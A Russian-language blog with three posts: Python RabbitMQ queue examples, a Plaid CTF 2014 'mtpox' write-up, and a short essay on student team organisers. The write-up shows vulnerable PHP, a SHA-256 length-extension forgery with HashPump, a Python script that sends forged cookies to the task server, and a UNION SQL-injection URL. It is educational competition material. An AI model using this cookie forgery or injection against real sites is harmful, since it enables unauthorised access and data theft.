среда, 30 апреля 2014 г.

Управление очередями

Открыл для себя прекрасную штуку - rabbitmq.
Раньше с очередями не очень заморачивался, а тут понадобилось использовать очереди и понеслось.

Особенно доставляет наличие work queues, которые позволяют раздавать потокам задачи, не беспокоясь о том, что они будут розданы равномерно.

Так выглядит скрипт, который посылает команды в очередь.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
import pika
import sys

connection = pika.BlockingConnection(pika.ConnectionParameters(
        host='localhost'))
channel = connection.channel()

channel.queue_declare(queue='task_queue', durable=True)

message = ' '.join(sys.argv[1:]) or "Hello World!"
channel.basic_publish(exchange='',
                      routing_key='task_queue',
                      body=message,
                      properties=pika.BasicProperties(
                         delivery_mode = 2, # make message persistent
                      ))
print " [x] Sent %r" % (message,)
connection.close()
А так сам код потока, который получает команды из очереди.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
import pika
import time

connection = pika.BlockingConnection(pika.ConnectionParameters(
        host='localhost'))
channel = connection.channel()

channel.queue_declare(queue='task_queue', durable=True)
print ' [*] Waiting for messages. To exit press CTRL+C'

def callback(ch, method, properties, body):
    print " [x] Received %r" % (body,)
    time.sleep( body.count('.') )
    print " [x] Done"
    ch.basic_ack(delivery_tag = method.delivery_tag)

channel.basic_qos(prefetch_count=1)
channel.basic_consume(callback,
                      queue='task_queue')

channel.start_consuming()

воскресенье, 13 апреля 2014 г.

И снова lenght-extension. Plaid CTF (PPP) - mtpox (Web 150)

mtpox

Web (150 pts)
The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.

Была дана ссылка на сайт, где страницы подгружались через GET запрос.
Соответственно, подставив в site/index.php?page=index.php - можно было получить код страницы.

Привожу основные скрипты:

index.php
<?php

  if (isset($_GET['page'])) {

    if (strstr($_GET['page'], "secrets")) { echo "ERROR!\n"; }

    else { readfile(basename($_GET['page'])); }

  }

  else {

    readfile("index");

  }

?>
admin.php
<?php

  require_once("secrets.php");

  $auth = false;

  if (isset($_COOKIE["auth"])) {

     $auth = unserialize($_COOKIE["auth"]);

     $hsh = $_COOKIE["hsh"];

     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {

       $auth = false;

     }

  }

  else {

    $auth = false;

    $s = serialize($auth);

    setcookie("auth", $s);

    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));

  }

  if ($auth) {

    if (isset($_GET['query'])) {

      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());

      mysql_select_db($SQL_DATABASE) or die('Could not select database');

      $qstr = mysql_real_escape_string($_GET['query']);

      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";

      $result = mysql_query($query) or die('Query failed: ' . mysql_error());

      $line = mysql_fetch_array($result, MYSQL_ASSOC);

      foreach ($line as $col_value) {

        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";

      }

    } else {

       echo "<html><head><title>MtPOX Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='demo_form_action.asp' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";

    }

  }

  else echo "Sorry, not authorized.";

?>

Сразу видно, что файл secrets.php прочесть не получится. Функция strstr довольно надежна.
Забегу вперед и скажу, что это никакой не веб, а скорее криптография.
Будем смотреть admin.php
$auth = false;
Дальше проверяется установлена ли у нас $_COOKIE["auth"].
Если установлена - происходят интересности, если нет - нам устанавливают ее.

После этого проверяется переменная $auth. Если она не false - выполняется какой-то код, который явно приведет
к ответу т.к. там SQL-inj "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr".

Посмотрим что у нас есть.
$auth = false;

$s = serialize($auth);
Данный код вернет следующий текст: "b:0;". Это сериализованное значение false.
Его нам кладут в переменную $auth, а в hsh - sha256("$SECRET".";0:b")

Что в переменной $SECRET мы не знаем, но хэшем обладаем.

Далее смотрим первое условие.
$auth = unserialize($_COOKIE["auth"]);
Итак, в переменной $auth у нас оказывается первое значение после де-сериализации.
Грубо говоря, если там будет несколько значений: "b:0;b:1;" - переменная $auth получит только
де-сериализованное первое значение.
$hsh = $_COOKIE["hsh"];
Тут мы просто получаем хэш из cookie.
if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {

       $auth = false;
Итак, проверка подписи. Если хэш из cookie не равен sha256("$SECRET".strrev($_COOKIE["auth"]) -
у нас переменная $auth станет false и мы не получим результата :(

Придется подделывать $_COOKIE["auth"], но в этом случае мы не сможем его правильно подписать т.к.
не знаем $SECRET.

Знающие люди уже догадались, что нам нужно применить атаку удлинением сообщения.
Что нам нужно получить на выходе?

В идеале, взять $_COOKIE["auth"] = "b:1;" и подписать правильным хэшем.
Но, соли мы не знаем.

Суть атаки удлинением в том, что если мы имеем:
sha256("secret_string;0:b"), то мы можем получить хэш от строки "secret_string;0:bany_string"
при этом, мы даже не знаем secret_string, но можем считать хэш, добавляя любой текст.

Что будем добавлять?
1. Нужно, чтобы $_COOKIE["auth"] валидно десериализовалось и при этом, результат был не false.
Значит начинаться оно должно с "b:1;". Дальше может быть хоть что, де-сериализация вернет true.
2. Нужно, чтобы хэш от строки "$SECRET".";0:b...;1:b" был верный.

Тут внимательно попробуйте разобраться (не запутайтесь с strrev).
Lengh extension вернет нам верный хэш строки (secret_string;0:b*****************;1:b),
где звездочки - это различные сложные символы для выравнивания блоков.

Результат мы развернем и получим  $_COOKIE["auth"] = "b:1;*****************b:0;"
Легко видеть, что после де-сериализации, функция прочитает только до ;

Затем программа развернет эту строку, приклеет слева $SECRET и посчитает хэш.
Хэш, который мы знаем :)

Теперь экскурс в атаку.

Рекомендую почитать его на википедии.

Берем код с https://github.com/bwall/HashPump
git clone https://github.com/bwall/HashPump.git

apt-get install g++ libssl-dev

make

make install
(перед make можно сделать небольшой хак, чтобы работать с данными нулевой длины:
закомментировать код.
if(data.size() == 0)
{
cout << "Input Data: ";
cin >> data;
}
Затем достаточно вызвать команду
hashpump -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --data \;0:b -a \;1:b -k 8
(-s hash - это наш хэш, который мы знаем, который состоит из соли и ";0:b")
(--data - это те самые данные после соли ";0:b". Слеш стоит для экранирования)
(-a - данные, которые мы дописываем в конец (а потом они будут в начале, когда строчку развернут), ";1:b"
(-k - длина ключа, которую мы не знаем)

Ответ достаточно просто развернуть и записать себе в $_COOKIE["auth"], ну и хэш тоже не забыть поменять на новый.
Готово!
Теперь пишем эксплойт, чтобы сделать все автоматически.
for i in range(1,10):
   os.system("hashpump -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --data \;0:b -a \;1:b -k "+str(i))

Этот код сгенерит нам строчки для разных длин ключа. Выполните его, а вывод перенаправьте в файл.
def solutions():
   hsh = "ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3"
   hsh2 = "967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1"


   d = open("1_.txt").read()
   for line in d.split('\n'):
      if not hsh2 in line:
         data = eval("\""+line+"\"")
         data = data[::-1]
         #print line
         res = ""
         for c in data:
            temp = hex(ord(c))[2:]
            if len(temp) == 1:
               temp = "0" + temp
            temp = "%" + temp
            res += temp
         headers['Cookie'] = "auth=" + res + ";hsh=" + hsh2
         print res
         http = httplib2.Http(timeout=5)
         response, content = http.request("http://54.211.6.40/admin.php", 'GET', headers=headers)
         print content
Этот код берет данные из файла, который вы создали и эксплуатирует уязвимость.

Запускаем скрипт.

Видно, что на ключе длиной 8 символов - авторизация проходит.
Теперь осталось взять из файла соответствующий auth и hash и вставить себе в браузер.
Ну и пройти по ссылке с php-injection: http://54.211.6.40/admin.php?query=2%20union%20select%20id%20from%20plaidcoin_wallets

Флаг будет на экране. Интересный таск.

пятница, 4 апреля 2014 г.

Кто такие ответственные люди, и какими они должны быть

Возможно эту мысль стоит донести более развернуто и тезисно с обоснованием каждого пункта, но сейчас хочу лишь выразить общий смысл.

Человек, который курирует группу людей в первую очередь должен решать вопросы.
Подбадривание, мотивация, лобби, советы - все это важно, но без этого можно и обойтись.

Но если ты не в состоянии просто взять и приложить все силы к решению конкретной проблемы лучшим способом - ты не куратор и польза от тебя группе никакая.

Спортивная команда не должна париться о регистрациях\документах и прочих скучных вещах. Ее задача, как и команды по математике, тренироваться и побеждать, а не выбивать себе стипендии, чтобы оплатить плацкарт и штраф за распитие спиртных напитков в публичном месте.

Если университет не может системно организовать пути нейтрализации бюрократических сложностей и обеспечить прозрачное решение вопросов с минимальными рисками, это значит что где-то ошибка. А на уровне студенческих кураторов или помощников ректора - это уже другой вопрос.